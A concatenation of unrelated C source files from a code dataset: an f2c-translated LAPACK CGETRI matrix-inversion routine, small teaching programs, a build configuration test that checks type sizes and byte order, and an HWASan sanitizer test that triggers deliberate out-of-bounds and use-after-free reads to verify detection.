* This test trigger(ed) a bug on x86 caused by a
* full width shift (which is UB), expecting to get
* 0 but giving the unshifted value and as result
* the type is invalid:
* warning: incorrect type in initializer (invalid types)
* expected bad type enum a static [toplevel] a
*/
|
the_stack_data/73576218.c | #include <math.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <complex.h>
#ifdef complex
#undef complex
#endif
#ifdef I
#undef I
#endif
#if defined(_WIN64)
typedef long long BLASLONG;
typedef unsigned long long BLASULONG;
#else
typedef long BLASLONG;
typedef unsigned long BLASULONG;
#endif
#ifdef LAPACK_ILP64
typedef BLASLONG blasint;
#if defined(_WIN64)
#define blasabs(x) llabs(x)
#else
#define blasabs(x) labs(x)
#endif
#else
typedef int blasint;
#define blasabs(x) abs(x)
#endif
typedef blasint integer;
typedef unsigned int uinteger;
typedef char *address;
typedef short int shortint;
typedef float real;
typedef double doublereal;
typedef struct { real r, i; } complex;
typedef struct { doublereal r, i; } doublecomplex;
#ifdef _MSC_VER
static inline _Fcomplex Cf(complex *z) {_Fcomplex zz={z->r , z->i}; return zz;}
static inline _Dcomplex Cd(doublecomplex *z) {_Dcomplex zz={z->r , z->i};return zz;}
static inline _Fcomplex * _pCf(complex *z) {return (_Fcomplex*)z;}
static inline _Dcomplex * _pCd(doublecomplex *z) {return (_Dcomplex*)z;}
#else
static inline _Complex float Cf(complex *z) {return z->r + z->i*_Complex_I;}
static inline _Complex double Cd(doublecomplex *z) {return z->r + z->i*_Complex_I;}
static inline _Complex float * _pCf(complex *z) {return (_Complex float*)z;}
static inline _Complex double * _pCd(doublecomplex *z) {return (_Complex double*)z;}
#endif
#define pCf(z) (*_pCf(z))
#define pCd(z) (*_pCd(z))
typedef int logical;
typedef short int shortlogical;
typedef char logical1;
typedef char integer1;
#define TRUE_ (1)
#define FALSE_ (0)
/* Extern is for use with -E */
#ifndef Extern
#define Extern extern
#endif
/* I/O stuff */
typedef int flag;
typedef int ftnlen;
typedef int ftnint;
/*external read, write*/
typedef struct
{ flag cierr;
ftnint ciunit;
flag ciend;
char *cifmt;
ftnint cirec;
} cilist;
/*internal read, write*/
typedef struct
{ flag icierr;
char *iciunit;
flag iciend;
char *icifmt;
ftnint icirlen;
ftnint icirnum;
} icilist;
/*open*/
typedef struct
{ flag oerr;
ftnint ounit;
char *ofnm;
ftnlen ofnmlen;
char *osta;
char *oacc;
char *ofm;
ftnint orl;
char *oblnk;
} olist;
/*close*/
typedef struct
{ flag cerr;
ftnint cunit;
char *csta;
} cllist;
/*rewind, backspace, endfile*/
typedef struct
{ flag aerr;
ftnint aunit;
} alist;
/* inquire */
typedef struct
{ flag inerr;
ftnint inunit;
char *infile;
ftnlen infilen;
ftnint *inex; /*parameters in standard's order*/
ftnint *inopen;
ftnint *innum;
ftnint *innamed;
char *inname;
ftnlen innamlen;
char *inacc;
ftnlen inacclen;
char *inseq;
ftnlen inseqlen;
char *indir;
ftnlen indirlen;
char *infmt;
ftnlen infmtlen;
char *inform;
ftnint informlen;
char *inunf;
ftnlen inunflen;
ftnint *inrecl;
ftnint *innrec;
char *inblank;
ftnlen inblanklen;
} inlist;
#define VOID void
union Multitype { /* for multiple entry points */
integer1 g;
shortint h;
integer i;
/* longint j; */
real r;
doublereal d;
complex c;
doublecomplex z;
};
typedef union Multitype Multitype;
struct Vardesc { /* for Namelist */
char *name;
char *addr;
ftnlen *dims;
int type;
};
typedef struct Vardesc Vardesc;
struct Namelist {
char *name;
Vardesc **vars;
int nvars;
};
typedef struct Namelist Namelist;
#define abs(x) ((x) >= 0 ? (x) : -(x))
#define dabs(x) (fabs(x))
#define f2cmin(a,b) ((a) <= (b) ? (a) : (b))
#define f2cmax(a,b) ((a) >= (b) ? (a) : (b))
#define dmin(a,b) (f2cmin(a,b))
#define dmax(a,b) (f2cmax(a,b))
#define bit_test(a,b) ((a) >> (b) & 1)
#define bit_clear(a,b) ((a) & ~((uinteger)1 << (b)))
#define bit_set(a,b) ((a) | ((uinteger)1 << (b)))
#define abort_() { sig_die("Fortran abort routine called", 1); }
#define c_abs(z) (cabsf(Cf(z)))
#define c_cos(R,Z) { pCf(R)=ccos(Cf(Z)); }
#ifdef _MSC_VER
#define c_div(c, a, b) {Cf(c)._Val[0] = (Cf(a)._Val[0]/Cf(b)._Val[0]); Cf(c)._Val[1]=(Cf(a)._Val[1]/Cf(b)._Val[1]);}
#define z_div(c, a, b) {Cd(c)._Val[0] = (Cd(a)._Val[0]/Cd(b)._Val[0]); Cd(c)._Val[1]=(Cd(a)._Val[1]/df(b)._Val[1]);}
#else
#define c_div(c, a, b) {pCf(c) = Cf(a)/Cf(b);}
#define z_div(c, a, b) {pCd(c) = Cd(a)/Cd(b);}
#endif
#define c_exp(R, Z) {pCf(R) = cexpf(Cf(Z));}
#define c_log(R, Z) {pCf(R) = clogf(Cf(Z));}
#define c_sin(R, Z) {pCf(R) = csinf(Cf(Z));}
//#define c_sqrt(R, Z) {*(R) = csqrtf(Cf(Z));}
#define c_sqrt(R, Z) {pCf(R) = csqrtf(Cf(Z));}
#define d_abs(x) (fabs(*(x)))
#define d_acos(x) (acos(*(x)))
#define d_asin(x) (asin(*(x)))
#define d_atan(x) (atan(*(x)))
#define d_atn2(x, y) (atan2(*(x),*(y)))
#define d_cnjg(R, Z) { pCd(R) = conj(Cd(Z)); }
#define r_cnjg(R, Z) { pCf(R) = conjf(Cf(Z)); }
#define d_cos(x) (cos(*(x)))
#define d_cosh(x) (cosh(*(x)))
#define d_dim(__a, __b) ( *(__a) > *(__b) ? *(__a) - *(__b) : 0.0 )
#define d_exp(x) (exp(*(x)))
#define d_imag(z) (cimag(Cd(z)))
#define r_imag(z) (cimagf(Cf(z)))
#define d_int(__x) (*(__x)>0 ? floor(*(__x)) : -floor(- *(__x)))
#define r_int(__x) (*(__x)>0 ? floor(*(__x)) : -floor(- *(__x)))
#define d_lg10(x) ( 0.43429448190325182765 * log(*(x)) )
#define r_lg10(x) ( 0.43429448190325182765 * log(*(x)) )
#define d_log(x) (log(*(x)))
#define d_mod(x, y) (fmod(*(x), *(y)))
#define u_nint(__x) ((__x)>=0 ? floor((__x) + .5) : -floor(.5 - (__x)))
#define d_nint(x) u_nint(*(x))
#define u_sign(__a,__b) ((__b) >= 0 ? ((__a) >= 0 ? (__a) : -(__a)) : -((__a) >= 0 ? (__a) : -(__a)))
#define d_sign(a,b) u_sign(*(a),*(b))
#define r_sign(a,b) u_sign(*(a),*(b))
#define d_sin(x) (sin(*(x)))
#define d_sinh(x) (sinh(*(x)))
#define d_sqrt(x) (sqrt(*(x)))
#define d_tan(x) (tan(*(x)))
#define d_tanh(x) (tanh(*(x)))
#define i_abs(x) abs(*(x))
#define i_dnnt(x) ((integer)u_nint(*(x)))
#define i_len(s, n) (n)
#define i_nint(x) ((integer)u_nint(*(x)))
#define i_sign(a,b) ((integer)u_sign((integer)*(a),(integer)*(b)))
#define pow_dd(ap, bp) ( pow(*(ap), *(bp)))
#define pow_si(B,E) spow_ui(*(B),*(E))
#define pow_ri(B,E) spow_ui(*(B),*(E))
#define pow_di(B,E) dpow_ui(*(B),*(E))
#define pow_zi(p, a, b) {pCd(p) = zpow_ui(Cd(a), *(b));}
#define pow_ci(p, a, b) {pCf(p) = cpow_ui(Cf(a), *(b));}
#define pow_zz(R,A,B) {pCd(R) = cpow(Cd(A),*(B));}
#define s_cat(lpp, rpp, rnp, np, llp) { ftnlen i, nc, ll; char *f__rp, *lp; ll = (llp); lp = (lpp); for(i=0; i < (int)*(np); ++i) { nc = ll; if((rnp)[i] < nc) nc = (rnp)[i]; ll -= nc; f__rp = (rpp)[i]; while(--nc >= 0) *lp++ = *(f__rp)++; } while(--ll >= 0) *lp++ = ' '; }
#define s_cmp(a,b,c,d) ((integer)strncmp((a),(b),f2cmin((c),(d))))
#define s_copy(A,B,C,D) { int __i,__m; for (__i=0, __m=f2cmin((C),(D)); __i<__m && (B)[__i] != 0; ++__i) (A)[__i] = (B)[__i]; }
#define sig_die(s, kill) { exit(1); }
#define s_stop(s, n) {exit(0);}
static char junk[] = "\n@(#)LIBF77 VERSION 19990503\n";
#define z_abs(z) (cabs(Cd(z)))
#define z_exp(R, Z) {pCd(R) = cexp(Cd(Z));}
#define z_sqrt(R, Z) {pCd(R) = csqrt(Cd(Z));}
#define myexit_() break;
#define mycycle() continue;
#define myceiling(w) {ceil(w)}
#define myhuge(w) {HUGE_VAL}
//#define mymaxloc_(w,s,e,n) {if (sizeof(*(w)) == sizeof(double)) dmaxloc_((w),*(s),*(e),n); else dmaxloc_((w),*(s),*(e),n);}
#define mymaxloc(w,s,e,n) {dmaxloc_(w,*(s),*(e),n)}
/* procedure parameter types for -A and -C++ */
#define F2C_proc_par_types 1
#ifdef __cplusplus
typedef logical (*L_fp)(...);
#else
typedef logical (*L_fp)();
#endif
static float spow_ui(float x, integer n) {
float pow=1.0; unsigned long int u;
if(n != 0) {
if(n < 0) n = -n, x = 1/x;
for(u = n; ; ) {
if(u & 01) pow *= x;
if(u >>= 1) x *= x;
else break;
}
}
return pow;
}
static double dpow_ui(double x, integer n) {
double pow=1.0; unsigned long int u;
if(n != 0) {
if(n < 0) n = -n, x = 1/x;
for(u = n; ; ) {
if(u & 01) pow *= x;
if(u >>= 1) x *= x;
else break;
}
}
return pow;
}
#ifdef _MSC_VER
static _Fcomplex cpow_ui(complex x, integer n) {
complex pow={1.0,0.0}; unsigned long int u;
if(n != 0) {
if(n < 0) n = -n, x.r = 1/x.r, x.i=1/x.i;
for(u = n; ; ) {
if(u & 01) pow.r *= x.r, pow.i *= x.i;
if(u >>= 1) x.r *= x.r, x.i *= x.i;
else break;
}
}
_Fcomplex p={pow.r, pow.i};
return p;
}
#else
static _Complex float cpow_ui(_Complex float x, integer n) {
_Complex float pow=1.0; unsigned long int u;
if(n != 0) {
if(n < 0) n = -n, x = 1/x;
for(u = n; ; ) {
if(u & 01) pow *= x;
if(u >>= 1) x *= x;
else break;
}
}
return pow;
}
#endif
#ifdef _MSC_VER
static _Dcomplex zpow_ui(_Dcomplex x, integer n) {
_Dcomplex pow={1.0,0.0}; unsigned long int u;
if(n != 0) {
if(n < 0) n = -n, x._Val[0] = 1/x._Val[0], x._Val[1] =1/x._Val[1];
for(u = n; ; ) {
if(u & 01) pow._Val[0] *= x._Val[0], pow._Val[1] *= x._Val[1];
if(u >>= 1) x._Val[0] *= x._Val[0], x._Val[1] *= x._Val[1];
else break;
}
}
_Dcomplex p = {pow._Val[0], pow._Val[1]};
return p;
}
#else
static _Complex double zpow_ui(_Complex double x, integer n) {
_Complex double pow=1.0; unsigned long int u;
if(n != 0) {
if(n < 0) n = -n, x = 1/x;
for(u = n; ; ) {
if(u & 01) pow *= x;
if(u >>= 1) x *= x;
else break;
}
}
return pow;
}
#endif
static integer pow_ii(integer x, integer n) {
integer pow; unsigned long int u;
if (n <= 0) {
if (n == 0 || x == 1) pow = 1;
else if (x != -1) pow = x == 0 ? 1/x : 0;
else n = -n;
}
if ((n > 0) || !(n == 0 || x == 1 || x != -1)) {
u = n;
for(pow = 1; ; ) {
if(u & 01) pow *= x;
if(u >>= 1) x *= x;
else break;
}
}
return pow;
}
static integer dmaxloc_(double *w, integer s, integer e, integer *n)
{
double m; integer i, mi;
for(m=w[s-1], mi=s, i=s+1; i<=e; i++)
if (w[i-1]>m) mi=i ,m=w[i-1];
return mi-s+1;
}
static integer smaxloc_(float *w, integer s, integer e, integer *n)
{
float m; integer i, mi;
for(m=w[s-1], mi=s, i=s+1; i<=e; i++)
if (w[i-1]>m) mi=i ,m=w[i-1];
return mi-s+1;
}
static inline void cdotc_(complex *z, integer *n_, complex *x, integer *incx_, complex *y, integer *incy_) {
integer n = *n_, incx = *incx_, incy = *incy_, i;
#ifdef _MSC_VER
_Fcomplex zdotc = {0.0, 0.0};
if (incx == 1 && incy == 1) {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc._Val[0] += conjf(Cf(&x[i]))._Val[0] * Cf(&y[i])._Val[0];
zdotc._Val[1] += conjf(Cf(&x[i]))._Val[1] * Cf(&y[i])._Val[1];
}
} else {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc._Val[0] += conjf(Cf(&x[i*incx]))._Val[0] * Cf(&y[i*incy])._Val[0];
zdotc._Val[1] += conjf(Cf(&x[i*incx]))._Val[1] * Cf(&y[i*incy])._Val[1];
}
}
pCf(z) = zdotc;
}
#else
_Complex float zdotc = 0.0;
if (incx == 1 && incy == 1) {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += conjf(Cf(&x[i])) * Cf(&y[i]);
}
} else {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += conjf(Cf(&x[i*incx])) * Cf(&y[i*incy]);
}
}
pCf(z) = zdotc;
}
#endif
static inline void zdotc_(doublecomplex *z, integer *n_, doublecomplex *x, integer *incx_, doublecomplex *y, integer *incy_) {
integer n = *n_, incx = *incx_, incy = *incy_, i;
#ifdef _MSC_VER
_Dcomplex zdotc = {0.0, 0.0};
if (incx == 1 && incy == 1) {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc._Val[0] += conj(Cd(&x[i]))._Val[0] * Cd(&y[i])._Val[0];
zdotc._Val[1] += conj(Cd(&x[i]))._Val[1] * Cd(&y[i])._Val[1];
}
} else {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc._Val[0] += conj(Cd(&x[i*incx]))._Val[0] * Cd(&y[i*incy])._Val[0];
zdotc._Val[1] += conj(Cd(&x[i*incx]))._Val[1] * Cd(&y[i*incy])._Val[1];
}
}
pCd(z) = zdotc;
}
#else
_Complex double zdotc = 0.0;
if (incx == 1 && incy == 1) {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += conj(Cd(&x[i])) * Cd(&y[i]);
}
} else {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += conj(Cd(&x[i*incx])) * Cd(&y[i*incy]);
}
}
pCd(z) = zdotc;
}
#endif
static inline void cdotu_(complex *z, integer *n_, complex *x, integer *incx_, complex *y, integer *incy_) {
integer n = *n_, incx = *incx_, incy = *incy_, i;
#ifdef _MSC_VER
_Fcomplex zdotc = {0.0, 0.0};
if (incx == 1 && incy == 1) {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc._Val[0] += Cf(&x[i])._Val[0] * Cf(&y[i])._Val[0];
zdotc._Val[1] += Cf(&x[i])._Val[1] * Cf(&y[i])._Val[1];
}
} else {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc._Val[0] += Cf(&x[i*incx])._Val[0] * Cf(&y[i*incy])._Val[0];
zdotc._Val[1] += Cf(&x[i*incx])._Val[1] * Cf(&y[i*incy])._Val[1];
}
}
pCf(z) = zdotc;
}
#else
_Complex float zdotc = 0.0;
if (incx == 1 && incy == 1) {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += Cf(&x[i]) * Cf(&y[i]);
}
} else {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += Cf(&x[i*incx]) * Cf(&y[i*incy]);
}
}
pCf(z) = zdotc;
}
#endif
static inline void zdotu_(doublecomplex *z, integer *n_, doublecomplex *x, integer *incx_, doublecomplex *y, integer *incy_) {
integer n = *n_, incx = *incx_, incy = *incy_, i;
#ifdef _MSC_VER
_Dcomplex zdotc = {0.0, 0.0};
if (incx == 1 && incy == 1) {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc._Val[0] += Cd(&x[i])._Val[0] * Cd(&y[i])._Val[0];
zdotc._Val[1] += Cd(&x[i])._Val[1] * Cd(&y[i])._Val[1];
}
} else {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc._Val[0] += Cd(&x[i*incx])._Val[0] * Cd(&y[i*incy])._Val[0];
zdotc._Val[1] += Cd(&x[i*incx])._Val[1] * Cd(&y[i*incy])._Val[1];
}
}
pCd(z) = zdotc;
}
#else
_Complex double zdotc = 0.0;
if (incx == 1 && incy == 1) {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += Cd(&x[i]) * Cd(&y[i]);
}
} else {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += Cd(&x[i*incx]) * Cd(&y[i*incy]);
}
}
pCd(z) = zdotc;
}
#endif
/* -- translated by f2c (version 20000121).
You must link the resulting object file with the libraries:
-lf2c -lm (in that order)
*/
/* Table of constant values */
static complex c_b2 = {1.f,0.f};
static integer c__1 = 1;
static integer c_n1 = -1;
static integer c__2 = 2;
/* > \brief \b CGETRI */
/* =========== DOCUMENTATION =========== */
/* Online html documentation available at */
/* http://www.netlib.org/lapack/explore-html/ */
/* > \htmlonly */
/* > Download CGETRI + dependencies */
/* > <a href="http://www.netlib.org/cgi-bin/netlibfiles.tgz?format=tgz&filename=/lapack/lapack_routine/cgetri.
f"> */
/* > [TGZ]</a> */
/* > <a href="http://www.netlib.org/cgi-bin/netlibfiles.zip?format=zip&filename=/lapack/lapack_routine/cgetri.
f"> */
/* > [ZIP]</a> */
/* > <a href="http://www.netlib.org/cgi-bin/netlibfiles.txt?format=txt&filename=/lapack/lapack_routine/cgetri.
f"> */
/* > [TXT]</a> */
/* > \endhtmlonly */
/* Definition: */
/* =========== */
/* SUBROUTINE CGETRI( N, A, LDA, IPIV, WORK, LWORK, INFO ) */
/* INTEGER INFO, LDA, LWORK, N */
/* INTEGER IPIV( * ) */
/* COMPLEX A( LDA, * ), WORK( * ) */
/* > \par Purpose: */
/* ============= */
/* > */
/* > \verbatim */
/* > */
/* > CGETRI computes the inverse of a matrix using the LU factorization */
/* > computed by CGETRF. */
/* > */
/* > This method inverts U and then computes inv(A) by solving the system */
/* > inv(A)*L = inv(U) for inv(A). */
/* > \endverbatim */
/* Arguments: */
/* ========== */
/* > \param[in] N */
/* > \verbatim */
/* > N is INTEGER */
/* > The order of the matrix A. N >= 0. */
/* > \endverbatim */
/* > */
/* > \param[in,out] A */
/* > \verbatim */
/* > A is COMPLEX array, dimension (LDA,N) */
/* > On entry, the factors L and U from the factorization */
/* > A = P*L*U as computed by CGETRF. */
/* > On exit, if INFO = 0, the inverse of the original matrix A. */
/* > \endverbatim */
/* > */
/* > \param[in] LDA */
/* > \verbatim */
/* > LDA is INTEGER */
/* > The leading dimension of the array A. LDA >= f2cmax(1,N). */
/* > \endverbatim */
/* > */
/* > \param[in] IPIV */
/* > \verbatim */
/* > IPIV is INTEGER array, dimension (N) */
/* > The pivot indices from CGETRF; for 1<=i<=N, row i of the */
/* > matrix was interchanged with row IPIV(i). */
/* > \endverbatim */
/* > */
/* > \param[out] WORK */
/* > \verbatim */
/* > WORK is COMPLEX array, dimension (MAX(1,LWORK)) */
/* > On exit, if INFO=0, then WORK(1) returns the optimal LWORK. */
/* > \endverbatim */
/* > */
/* > \param[in] LWORK */
/* > \verbatim */
/* > LWORK is INTEGER */
/* > The dimension of the array WORK. LWORK >= f2cmax(1,N). */
/* > For optimal performance LWORK >= N*NB, where NB is */
/* > the optimal blocksize returned by ILAENV. */
/* > */
/* > If LWORK = -1, then a workspace query is assumed; the routine */
/* > only calculates the optimal size of the WORK array, returns */
/* > this value as the first entry of the WORK array, and no error */
/* > message related to LWORK is issued by XERBLA. */
/* > \endverbatim */
/* > */
/* > \param[out] INFO */
/* > \verbatim */
/* > INFO is INTEGER */
/* > = 0: successful exit */
/* > < 0: if INFO = -i, the i-th argument had an illegal value */
/* > > 0: if INFO = i, U(i,i) is exactly zero; the matrix is */
/* > singular and its inverse could not be computed. */
/* > \endverbatim */
/* Authors: */
/* ======== */
/* > \author Univ. of Tennessee */
/* > \author Univ. of California Berkeley */
/* > \author Univ. of Colorado Denver */
/* > \author NAG Ltd. */
/* > \date December 2016 */
/* > \ingroup complexGEcomputational */
/* ===================================================================== */
/* Subroutine */ int cgetri_(integer *n, complex *a, integer *lda, integer *
ipiv, complex *work, integer *lwork, integer *info)
{
/* System generated locals */
integer a_dim1, a_offset, i__1, i__2, i__3, i__4, i__5;
complex q__1;
/* Local variables */
integer i__, j;
extern /* Subroutine */ int cgemm_(char *, char *, integer *, integer *,
integer *, complex *, complex *, integer *, complex *, integer *,
complex *, complex *, integer *), cgemv_(char *,
integer *, integer *, complex *, complex *, integer *, complex *,
integer *, complex *, complex *, integer *);
integer nbmin;
extern /* Subroutine */ int cswap_(integer *, complex *, integer *,
complex *, integer *), ctrsm_(char *, char *, char *, char *,
integer *, integer *, complex *, complex *, integer *, complex *,
integer *);
integer jb, nb, jj, jp, nn;
extern integer ilaenv_(integer *, char *, char *, integer *, integer *,
integer *, integer *, ftnlen, ftnlen);
extern /* Subroutine */ int xerbla_(char *, integer *, ftnlen);
integer ldwork;
extern /* Subroutine */ int ctrtri_(char *, char *, integer *, complex *,
integer *, integer *);
integer lwkopt;
logical lquery;
integer iws;
/* -- LAPACK computational routine (version 3.7.0) -- */
/* -- LAPACK is a software package provided by Univ. of Tennessee, -- */
/* -- Univ. of California Berkeley, Univ. of Colorado Denver and NAG Ltd..-- */
/* December 2016 */
/* ===================================================================== */
/* Test the input parameters. */
/* Parameter adjustments */
a_dim1 = *lda;
a_offset = 1 + a_dim1 * 1;
a -= a_offset;
--ipiv;
--work;
/* Function Body */
*info = 0;
nb = ilaenv_(&c__1, "CGETRI", " ", n, &c_n1, &c_n1, &c_n1, (ftnlen)6, (
ftnlen)1);
lwkopt = *n * nb;
work[1].r = (real) lwkopt, work[1].i = 0.f;
lquery = *lwork == -1;
if (*n < 0) {
*info = -1;
} else if (*lda < f2cmax(1,*n)) {
*info = -3;
} else if (*lwork < f2cmax(1,*n) && ! lquery) {
*info = -6;
}
if (*info != 0) {
i__1 = -(*info);
xerbla_("CGETRI", &i__1, (ftnlen)6);
return 0;
} else if (lquery) {
return 0;
}
/* Quick return if possible */
if (*n == 0) {
return 0;
}
/* Form inv(U). If INFO > 0 from CTRTRI, then U is singular, */
/* and the inverse is not computed. */
ctrtri_("Upper", "Non-unit", n, &a[a_offset], lda, info);
if (*info > 0) {
return 0;
}
nbmin = 2;
ldwork = *n;
if (nb > 1 && nb < *n) {
/* Computing MAX */
i__1 = ldwork * nb;
iws = f2cmax(i__1,1);
if (*lwork < iws) {
nb = *lwork / ldwork;
/* Computing MAX */
i__1 = 2, i__2 = ilaenv_(&c__2, "CGETRI", " ", n, &c_n1, &c_n1, &
c_n1, (ftnlen)6, (ftnlen)1);
nbmin = f2cmax(i__1,i__2);
}
} else {
iws = *n;
}
/* Solve the equation inv(A)*L = inv(U) for inv(A). */
if (nb < nbmin || nb >= *n) {
/* Use unblocked code. */
for (j = *n; j >= 1; --j) {
/* Copy current column of L to WORK and replace with zeros. */
i__1 = *n;
for (i__ = j + 1; i__ <= i__1; ++i__) {
i__2 = i__;
i__3 = i__ + j * a_dim1;
work[i__2].r = a[i__3].r, work[i__2].i = a[i__3].i;
i__2 = i__ + j * a_dim1;
a[i__2].r = 0.f, a[i__2].i = 0.f;
/* L10: */
}
/* Compute current column of inv(A). */
if (j < *n) {
i__1 = *n - j;
q__1.r = -1.f, q__1.i = 0.f;
cgemv_("No transpose", n, &i__1, &q__1, &a[(j + 1) * a_dim1 +
1], lda, &work[j + 1], &c__1, &c_b2, &a[j * a_dim1 +
1], &c__1);
}
/* L20: */
}
} else {
/* Use blocked code. */
nn = (*n - 1) / nb * nb + 1;
i__1 = -nb;
for (j = nn; i__1 < 0 ? j >= 1 : j <= 1; j += i__1) {
/* Computing MIN */
i__2 = nb, i__3 = *n - j + 1;
jb = f2cmin(i__2,i__3);
/* Copy current block column of L to WORK and replace with */
/* zeros. */
i__2 = j + jb - 1;
for (jj = j; jj <= i__2; ++jj) {
i__3 = *n;
for (i__ = jj + 1; i__ <= i__3; ++i__) {
i__4 = i__ + (jj - j) * ldwork;
i__5 = i__ + jj * a_dim1;
work[i__4].r = a[i__5].r, work[i__4].i = a[i__5].i;
i__4 = i__ + jj * a_dim1;
a[i__4].r = 0.f, a[i__4].i = 0.f;
/* L30: */
}
/* L40: */
}
/* Compute current block column of inv(A). */
if (j + jb <= *n) {
i__2 = *n - j - jb + 1;
q__1.r = -1.f, q__1.i = 0.f;
cgemm_("No transpose", "No transpose", n, &jb, &i__2, &q__1, &
a[(j + jb) * a_dim1 + 1], lda, &work[j + jb], &ldwork,
&c_b2, &a[j * a_dim1 + 1], lda);
}
ctrsm_("Right", "Lower", "No transpose", "Unit", n, &jb, &c_b2, &
work[j], &ldwork, &a[j * a_dim1 + 1], lda);
/* L50: */
}
}
/* Apply column interchanges. */
for (j = *n - 1; j >= 1; --j) {
jp = ipiv[j];
if (jp != j) {
cswap_(n, &a[j * a_dim1 + 1], &c__1, &a[jp * a_dim1 + 1], &c__1);
}
/* L60: */
}
work[1].r = (real) iws, work[1].i = 0.f;
return 0;
/* End of CGETRI */
} /* cgetri_ */
|
the_stack_data/145453215.c | #include <stdio.h>
void somaVetor(int*, int, int, int);
int main()
{
int vet[5][5] = {{1,2,3,4,5},
{5,4,3,2,1},
{1,2,3,2,1},
{5,4,3,4,5},
{1,1,1,1,1}};
somaVetor(vet, 5, 0, 1);
return 0;
}
void somaVetor(int* vet, int n, int x, int a)
{
if(x < n*n)
{
if (*(vet+x) == a)
{
printf("Vet[%d][%d] = %d\n", x/n, x%n, *(vet+x));
}
x++;
somaVetor(vet, n, x, a);
}
}
|
the_stack_data/581352.c | // Copyright (c) 2012 Google Inc. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include <stdio.h>
extern void func(void);
extern void subdir1_func(void);
extern void subdir2_func(void);
int main(int argc, char *argv[])
{
printf("Hello from prog3.c\n");
func();
subdir1_func();
subdir2_func();
return 0;
}
|
the_stack_data/100141338.c | // RUN: %clang_hwasan -O0 %s -DMALLOC -DFREE -o %t.mf
// RUN: %env_hwasan_opts=tag_in_malloc=0,tag_in_free=1 not %run %t.mf 2>&1 | FileCheck %s --check-prefixes=FREE
// RUN: %env_hwasan_opts=tag_in_malloc=1,tag_in_free=1 not %run %t.mf 2>&1 | FileCheck %s --check-prefixes=MALLOC
// RUN: %env_hwasan_opts=tag_in_malloc=1,tag_in_free=0 not %run %t.mf 2>&1 | FileCheck %s --check-prefixes=MALLOC
// RUN: %env_hwasan_opts=tag_in_malloc=0,tag_in_free=0 %run %t.mf 2>&1
// RUN: %clang_hwasan -O0 %s -DFREE -o %t.f
// RUN: %env_hwasan_opts=tag_in_malloc=0,tag_in_free=1 not %run %t.f 2>&1 | FileCheck %s --check-prefixes=FREE
// RUN: %env_hwasan_opts=tag_in_malloc=1,tag_in_free=1 not %run %t.f 2>&1 | FileCheck %s --check-prefixes=FREE
// RUN: %env_hwasan_opts=tag_in_malloc=1,tag_in_free=0 %run %t.f 2>&1
// RUN: %env_hwasan_opts=tag_in_malloc=0,tag_in_free=0 %run %t.f 2>&1
// RUN: %clang_hwasan -O0 %s -DMALLOC -o %t.m
// RUN: %env_hwasan_opts=tag_in_malloc=0,tag_in_free=1 %run %t.m 2>&1
// RUN: %env_hwasan_opts=tag_in_malloc=1,tag_in_free=1 not %run %t.m 2>&1 | FileCheck %s --check-prefixes=MALLOC
// RUN: %env_hwasan_opts=tag_in_malloc=1,tag_in_free=0 not %run %t.m 2>&1 | FileCheck %s --check-prefixes=MALLOC
// RUN: %env_hwasan_opts=tag_in_malloc=0,tag_in_free=0 %run %t.m 2>&1
#include <stdlib.h>
#include <stdio.h>
#include <sanitizer/hwasan_interface.h>
int main() {
__hwasan_enable_allocator_tagging();
// Loop for a while to make sure that the memory for the test below is reused after an earlier free(),
// and is potentially tagged (when tag_in_free == 1).
for (int i = 0; i < 100; ++i) {
char * volatile p = (char*)malloc(10);
free(p);
}
char * volatile p = (char*)malloc(10);
#ifdef MALLOC
// MALLOC: READ of size 1 at
// MALLOC: is located 6 bytes to the right of 10-byte region
// MALLOC: allocated here:
char volatile x = p[16];
#endif
free(p);
#ifdef FREE
// FREE: READ of size 1 at
// FREE: is located 0 bytes inside of 10-byte region
// FREE: freed by thread T0 here:
// FREE: previously allocated here:
char volatile y = p[0];
#endif
__hwasan_disable_allocator_tagging();
return 0;
}
|
the_stack_data/190768764.c | int main()
{
int i = 5;
int n = 0;
while (i > 0)
{
i = i - 1;
n = n + i;
}
return n;
} |
the_stack_data/148578467.c | /*
conftest.c
This file checks your system configuration to
adjust the Makefile for cingb
*/
#include <stdio.h>
#include <stdlib.h>
int main(void)
{
char testarray[8]={0,0,0,1,0,0,0,0};
printf("OK cc: compilation & execution works ...\n");
printf("OK cc: checking type-sizes ... ");
if (sizeof(int)!=4) {
printf("int: not 4 bytes ! FAILED\n");
exit(0);
} else {
if (sizeof(char)!=1) {
printf("char: not 1 byte ! FAILED\n");
exit(0);
} else {
if (sizeof(testarray)!=8) {
printf("custom array is not 8 bytes !\n");
} else printf("ok\n");
}
}
printf("OK Checking endian structure ... ");
if (*((int *)testarray)==0x00000001) {
printf("OK big endian found.\n");
exit(1);
} else {
if (*((int *)testarray)==0x01000000) {
printf("OK little endian found.\n");
exit(2);
} else {
printf("check FAILED.\n");
printf("Unknown CPU architecture.\n");
exit(0);
}
}
}
|
the_stack_data/104826691.c | #include "stdio.h"
#include "stdlib.h"
int main()
{
int num = 32 * 16 + 256 + 512 / 2;
